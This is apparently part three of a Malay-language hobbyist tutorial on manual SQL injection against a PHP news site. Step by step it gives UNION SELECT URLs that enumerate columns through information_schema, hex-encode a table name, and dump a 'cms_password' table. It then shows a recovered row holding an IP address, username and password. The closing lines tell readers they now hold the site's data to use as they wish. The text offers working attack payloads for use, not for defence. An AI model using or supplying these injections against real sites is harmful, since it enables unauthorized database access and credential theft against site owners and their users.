SQLi part III Manual Tutorial.

Tutorial sambungan dari SINI.

6. Untuk dapatkan column, gunakan perintah "group_concat(column_name)" pada no yang keluar tadi dan perintah "+from+information_schema.columns+where+table_name=0xhexa--" di hujung no. Contoh :

asal : http://bla2.com/artikel/news.php?id=-191+union+select+1,2,group_concat(table_name),4,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--

ubah : http://bla2.com/artikel/news.php?id=-191+union+select+1,2,group_concat(column_name),4,5,6,7,8,9+from+information_schema.columns+where+table_name=0xhexa--

Cuba lihat dihujung ada perintah "0xhexa" itu bermaksud kita perlu convert kan adalah table2 yang korang anggap penting, Contoh wadud convert table "cms_password " dan hasilnya "636D735F70617373776F7264" keluar beberapa jumlah nombor. Itulah yang perlu kita letakkan setelah perintah 0x636D735F70617373776F7264-- Contoh :

http://bla2.com/artikel/news.php?id=-191+union+select+1,2,group_concat(column_name),4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x636D735F70617373776F7264--

7. Cara convert korang kene masuk kat beberapa web di bawah ini, tapi kalau satu web korang dah puas, teruskan :

http://piclist.com/techref/ascii.htm

http://www.industrialtrainer.com/Unicode.shtm

http://www.dolcevie.com/js/converter.html

http://centricle.com/tools/ascii-hex/

Hasil convert table "cms_password " adalah "636D735F70617373776F7264" jadi korang dah paham? bagus.. ^_^

8. Ok sekarang gunakan perintah "concat_ws(0x3a,hasil isi column yg nak dikeluarkan)" dan "2+from+nama table yang di hexa tadi--" dah nak siap.. teliti betul2. :

http://bla2.com/artikel/news.php?id=-191+union+select+1,2,concat_ws(0x3a,cms_password_id,cms_password_ip_address,cms_password_username,cms_password_password,cms_password_last_date),4,5,6,7,8,9+from+cms_password --

Setelah gunakan perintah diatas, hasil yang wadud dapat adalah : 1:203.130.254.122:miwon:miwon

So.. korang dah berjaya dapatkan info2 penting dari website dia, dan terserah korang nak buat ape.. ekekeke.. pikir dengan baik.. pikir positif (huh) rasanya tak penin kan? (hahahahahaha) wadud sendirik pon penin.. mungkin sebab dah biasa, so nombor2 tu tak buatkan wadud penin sangat.. korang? gudluck ^_^.